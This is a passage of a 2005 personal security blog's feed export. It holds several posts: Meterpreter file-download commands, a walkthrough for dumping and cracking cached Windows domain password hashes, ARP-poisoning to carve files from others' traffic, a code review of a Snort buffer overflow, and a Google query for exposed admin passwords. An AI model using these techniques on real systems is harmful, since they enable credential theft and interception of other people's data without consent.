Microsoft Corp.&lt;br /&gt;C:\WINDOWS&gt;&lt;br /&gt;Caught Ctrl-C, close interactive session? [y/N] y&lt;br /&gt;&lt;br /&gt;With the Fs extentsion you can download and upload files.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;meterpreter&gt;use -m Fs&lt;/b&gt;&lt;br /&gt;&lt;b&gt;meterpreter&gt;download file location&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;And thats pretty much what I use the most. Maybe later I will write an advanced section.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-150917784634608411?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/150917784634608411/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=150917784634608411' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/150917784634608411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/150917784634608411'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/11/post-exploitation-w-meterpreter_03.html' title='Post-Exploitation w/ Meterpreter'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-7320598118280674649</id><published>2005-10-28T14:15:00.001-05:00</published><updated>2007-07-11T09:55:21.574-05:00</updated><title type='text'>Grabbing And Cracking Cached Domain Hashs(mscash) w/ John</title><content type='html'>This is something I wrote up a while back. Not that great but wanted to document it before I lost it.&lt;br /&gt;	&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Background: 	Its great gaining local admin on a windows box,but then you are limited to that box. &lt;br /&gt; 		Its much more useful getting a Domain user or even Domain Enterprise Admin!&lt;br /&gt;		Assumming you are on a Domain.&lt;br /&gt;            	Most Windows Domains have password caching turned on.&lt;br /&gt;            	Which means anytime a domain user logs into the box it is cached in the registry with SYSTEM rights. &lt;br /&gt;		Now lets see how we can grab this and crack it. &lt;br /&gt;&lt;br /&gt;Note:		I only did this in Linux, I have no idea if it work in windows.&lt;br /&gt;		Also, I will not go into much technical details on the caching. Google if you want to learn more.&lt;br /&gt;		The info is out there.&lt;br /&gt;&lt;br /&gt;Tools:		1. John The Ripper(1.6.37) - &lt;a href="http://www.openwall.com/john/"&gt;http://www.openwall.com/john/&lt;/a&gt; (you will need the src, we will patch it)&lt;br /&gt;		2. mscashdump - &lt;a href="http://www.off-by-one.net/misc/cachedump.html"&gt;http://www.off-by-one.net/misc/cachedump.html&lt;/a&gt;&lt;br /&gt;		3. John The Ripper Patch - &lt;a href="http://www.banquise.net/misc/patch-john.html"&gt;http://www.banquise.net/misc/patch-john.html&lt;/a&gt; (get "the big patch")&lt;br /&gt;&lt;br /&gt;Steps:		1. Compile and Patch John(john dir and patch must be in same dir)&lt;br /&gt;			-tar xfz john-1.6.37.tar.gz &lt;br /&gt;			-gunzip -c john-1.6.37-bigpatch-13.diff.gz | patch -p0 (should see it patching files)&lt;br /&gt;			-cd john-1.6.37/src/&lt;br /&gt;			-make&lt;br /&gt;		&lt;br /&gt;		      Note: Now  you have john patched,it can accept much more hashes such as mscash. Another favorite&lt;br /&gt;		      of mine is Lotus Notes, its pretty easy to get anyone’s Notes hash without even being a user.&lt;br /&gt;		      I'll save that for a different doc, we'll stick with mscash.&lt;br /&gt;&lt;br /&gt;		2. Get cached passwords from windows box (must be local admin)&lt;br /&gt;			-cmd.exe&lt;br /&gt;			-cachedump.exe -v (should first install a service to get SYSTEM rights)&lt;br /&gt;			-Output should look like the following.&lt;br /&gt;			&lt;br /&gt;						CacheDump service successfully installed.&lt;br /&gt;						Service started.&lt;br /&gt;						user1:5E9092870891234FEF30940952359045633456:domain:&lt;br /&gt;						domainadmin:D938458093490BF9035649095CC334:domain:&lt;br /&gt;						user2:8982390FAB93099EF30940945745:domain:&lt;br /&gt;						Service successfully removed.&lt;br /&gt;&lt;br /&gt;			-copy and paste the hashs to a txt file for john.&lt;br /&gt;&lt;br /&gt;		3. Now we get to crack it. Your choice on brute or dict.&lt;br /&gt;			-./john -format:mscash ./mshashs.txt &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;		Note: Now you just have to wait. Depending on how good the password is.&lt;br /&gt;		      And that’s It. Have Fun&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://www.off-by-one.net/misc/cachedump.html"&gt;http://www.off-by-one.net/misc/cachedump.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.banquise.net/misc/patch-john.html"&gt;http://www.banquise.net/misc/patch-john.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-7320598118280674649?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/7320598118280674649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=7320598118280674649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7320598118280674649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7320598118280674649'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/10/grabbing-and-cracking-cached-domain_28.html' title='Grabbing And Cracking Cached Domain Hashs(mscash) w/ John'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-3676166424740256699</id><published>2005-10-28T09:17:00.001-05:00</published><updated>2007-07-11T09:55:21.434-05:00</updated><title type='text'>All Your File Are Belong To Us</title><content type='html'>Been testing a neat little app called tcpxtract.&lt;br /&gt;&lt;a href="http://tcpxtract.sourceforge.net/"&gt;http://tcpxtract.sourceforge.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What it does is grab files from sniffed traffic though "carving". Can be&lt;br /&gt;used against live sniffing or against a pcap file.&lt;br /&gt;&lt;br /&gt;Findings so far:&lt;br /&gt;&lt;br /&gt;First, I thought I would run it against a kismet pcap file I had laying&lt;br /&gt;around.&lt;br /&gt;Turned up with a couple of images, must have been people browsing the web.&lt;br /&gt;I would assume other files would work no problem, since wireless it is not a&lt;br /&gt;switched network and all the traffic anyone can see.&lt;br /&gt;&lt;br /&gt;1. FILES OWNED&lt;br /&gt;&lt;br /&gt;Second, I thought I would fire up ethereal &lt;a href="http://www.ethereal.com/"&gt;http://www.ethereal.com/&lt;/a&gt; and bind&lt;br /&gt;it to my local Ethernet card to sniff.&lt;br /&gt;I did a few file transfers during the sniff. SCP, FTP, Windows SMB Share(AD&lt;br /&gt;Kerbros)&lt;br /&gt;Saved the sniff in a pcap file and ran tcpxtract against it.&lt;br /&gt;&lt;br /&gt;   - SCP, I obviously did not grab that file I transferred.&lt;br /&gt;   - FTP, Do I even have to tell?&lt;br /&gt;   - SMB, Yep grabbed that file too&lt;br /&gt;&lt;br /&gt;2. FILES OWNED&lt;br /&gt;&lt;br /&gt;Third, I was thinking this isn't that useful. Why do I want to see my own&lt;br /&gt;files transferred and on&lt;br /&gt;a wireless network anyone to transfer anything useful, is just plain stupid.&lt;br /&gt;&lt;br /&gt;So, I got to thinking how about a "man in the middle" attack? I Fire up the&lt;br /&gt;handy ettercap &lt;a href="http://ettercap.sourceforge.net/"&gt;http://ettercap.sourceforge.net/&lt;/a&gt;&lt;br /&gt;and poison the arp cache on the switch and route all traffic to my local&lt;br /&gt;Ethernet card and then route the packets to their final destination.&lt;br /&gt;&lt;br /&gt;Now since all the switch traffic is running though my Ethernet device. I&lt;br /&gt;bind tcpxtract to my&lt;br /&gt;local Ethernet device. And the files started to pour in (mpg, mp3,doc,pdf ,&lt;br /&gt;etc) a lot.&lt;br /&gt;&lt;br /&gt;3. FILES OWNED&lt;br /&gt;&lt;br /&gt;Now, I'm sure people see the danger here. For security testers/auditors its&lt;br /&gt;a way to rid your company of using&lt;br /&gt;ftp and other non-secure protocols. Do that attack against some highly&lt;br /&gt;sensitive servers, and then show your&lt;br /&gt;manager all the nice sensitive documents you mined!&lt;br /&gt;&lt;br /&gt;I will be looking into other methods of using tcpxract.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-3676166424740256699?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/3676166424740256699/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=3676166424740256699' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3676166424740256699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3676166424740256699'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/10/all-your-file-are-belong-to-us_28.html' title='All Your File Are Belong To Us'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-9140566757971240637</id><published>2005-10-18T09:47:00.001-05:00</published><updated>2007-07-11T09:55:21.308-05:00</updated><title type='text'>Snort Back Orifice Preprocessor Buffer Overflow</title><content type='html'>While looking into US-CERT TA-05-291A. This is what I found.&lt;br /&gt;&lt;br /&gt;While snort does review the traffic on port 31337, it will also look&lt;br /&gt;for any UDP traffic that is using Back Orifice's magic cookie.&lt;br /&gt;&lt;br /&gt; * spp_bo.c comments&lt;br /&gt; *&lt;br /&gt; *           Purpose: Detects Back Orifice traffic by brute forcing the weak encryption&lt;br /&gt; *           of the program's network protocol and detects the magic cookie&lt;br /&gt; *           that it's servers and clients require to communicate with each&lt;br /&gt; *           other.&lt;br /&gt; *&lt;br /&gt; *           Back Orifice magic cookie is "*!*QWTY?", which is located in the first&lt;br /&gt; *           eight bytes of the packet.  But it is encrypted using an XOR.&lt;br /&gt;&lt;br /&gt;When exploiting this we want this function of the preprocessor to kick&lt;br /&gt;off. Which is why you will have to create a UDP packet that is not&lt;br /&gt;using port 31337.&lt;br /&gt;&lt;br /&gt;Below is where the fun happens.&lt;br /&gt;&lt;br /&gt;//snippet from spp_bo.c&lt;br /&gt;static int BoGetDirection(Packet *p, char *pkt_data)&lt;br /&gt;{&lt;br /&gt;    u_int32_t len = 0;&lt;br /&gt;    u_int32_t id = 0;&lt;br /&gt;    u_int32_t l, i;&lt;br /&gt;    char type;&lt;br /&gt;    char buf1[1024]; #Interesting ??? A static array? Is this checked? hehe&lt;br /&gt;    char buf2[1024]; #Interesting ??? A static array? Is this checked? hehe&lt;br /&gt;    char *buf_ptr;&lt;br /&gt;    char plaintext;&lt;br /&gt;//snippet from spp_bo.c&lt;br /&gt;&lt;br /&gt;I don't see any checks.&lt;br /&gt;&lt;br /&gt;//snippet from spp_bo.c&lt;br /&gt; /* Only examine data if this a ping request or response */&lt;br /&gt;    if ( type == BO_TYPE_PING )&lt;br /&gt;    {&lt;br /&gt;        i = 0;&lt;br /&gt;        buf_ptr = buf1;&lt;br /&gt;        *buf1 = 0;&lt;br /&gt;        *buf2 = 0;&lt;br /&gt;        /* Decrypt data */&lt;br /&gt;        while ( i &lt; len )&lt;br /&gt;        {&lt;br /&gt;            plaintext = (char) (*pkt_data ^ (BoRand()%256));&lt;br /&gt;            *buf_ptr = plaintext;&lt;br /&gt;            i++;&lt;br /&gt;            pkt_data++;&lt;br /&gt;            buf_ptr++;&lt;br /&gt;            if ( plaintext == 0 )&lt;br /&gt;                buf_ptr = buf2;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;/* null-terminate string */&lt;br /&gt;        *buf_ptr = 0;&lt;br /&gt;&lt;br /&gt;        DEBUG_WRAP(DebugMessage(DEBUG_PLUGIN, "buf1 = %s\n", buf1););&lt;br /&gt;&lt;br /&gt;        if ( *buf2 != 0 )&lt;br /&gt;        {&lt;br /&gt;            DEBUG_WRAP(DebugMessage(DEBUG_PLUGIN, "buf2 = %s\n",buf2););&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        DEBUG_WRAP(DebugMessage(DEBUG_PLUGIN, "crc = 0x%x\n", (char)&lt;br /&gt;        (*pkt_data ^ (BoRand()%256))););&lt;br /&gt;&lt;br /&gt;        if ( len &gt; 4 &amp;&amp; !strncasecmp((buf1+3), "PONG", 4) )&lt;br /&gt;        {&lt;br /&gt;            return BO_FROM_SERVER;&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            return BO_FROM_CLIENT;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;//snippet from spp_bo.c&lt;br /&gt;&lt;br /&gt;To validate it a bit more I ran the code through flawfinder. This is&lt;br /&gt;the output.&lt;br /&gt;&lt;br /&gt;Examining spp_bo.c&lt;br /&gt;spp_bo.c:430:  [2] (buffer) char:&lt;br /&gt;  Statically-sized arrays can be overflowed. Perform bounds checking,&lt;br /&gt;  use functions that limit length, or ensure that the size is larger&lt;br /&gt;than&lt;br /&gt;  the maximum possible length.&lt;br /&gt;spp_bo.c:431:  [2] (buffer) char:&lt;br /&gt;  Statically-sized arrays can be overflowed. Perform bounds checking,&lt;br /&gt;  use functions that limit length, or ensure that the size is larger&lt;br /&gt;than &lt;br /&gt;the maximum possible length.&lt;br /&gt;&lt;br /&gt;Just my findings.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-9140566757971240637?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/9140566757971240637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=9140566757971240637' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/9140566757971240637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/9140566757971240637'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/10/snort-back-orifice-preprocessor-buffer_18.html' title='Snort Back Orifice Preprocessor Buffer Overflow'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-3166378028570578392</id><published>2005-10-07T08:44:00.001-05:00</published><updated>2007-07-11T09:55:21.151-05:00</updated><title type='text'>kPan1c.dc414.org</title><content type='html'>Just added this blog with masking to &lt;a href="http://kPan1c.dc414.org."&gt;http://kPan1c.dc414.org.&lt;/a&gt; So you can always just hit that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-3166378028570578392?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/3166378028570578392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=3166378028570578392' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3166378028570578392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/3166378028570578392'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/10/kpan1cdc414org_07.html' title='kPan1c.dc414.org'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-7402318327483632125</id><published>2005-10-06T19:12:00.001-05:00</published><updated>2007-07-11T09:55:21.001-05:00</updated><title type='text'>GoogleDork SysPrep Hack</title><content type='html'>Not sure if you guys know what googledorks are. Basically custom google&lt;br /&gt;querys that find some interesting stuff. Johnny Long talks a lot more&lt;br /&gt;about them and has a whole database of them on his site&lt;br /&gt;&lt;a href="http://johnny.ihackstuff.com/."&gt;http://johnny.ihackstuff.com/.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now to the fun stuff. Not sure if this has been done or not but here it&lt;br /&gt;goes.&lt;br /&gt;&lt;br /&gt;I was talking to someone about sysprep (things it does, options you can&lt;br /&gt;set, etc.)&lt;br /&gt;&lt;br /&gt;Which got me thinking of my next idea.&lt;br /&gt;&lt;br /&gt;GoogleDork:&lt;br /&gt;+"AdminPassword" | "DomainAdmin" | "DomainAdminPassword"&lt;br /&gt;inurl:sysprep.inf &lt;br /&gt;&lt;br /&gt;I know this is a pretty simple googledork(but you would be amazed at&lt;br /&gt;the findings). If anyone has a better way of doing it or expanding it,&lt;br /&gt;I would love to see it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-7402318327483632125?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/7402318327483632125/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=7402318327483632125' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7402318327483632125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7402318327483632125'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/10/googledork-sysprep-hack_06.html' title='GoogleDork SysPrep Hack'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-350830899648807501</id><published>2005-08-30T09:33:00.001-05:00</published><updated>2007-07-11T09:55:20.852-05:00</updated><title type='text'>Just Up</title><content type='html'>Just my site to document my thoughts. Went with livejournal because of the linux client. My icon of the keyboard is just when I was bored with my camera phone. Nothing else to say.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-350830899648807501?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/350830899648807501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=350830899648807501' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/350830899648807501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/350830899648807501'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/08/just-up_30.html' title='Just Up'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry></feed>
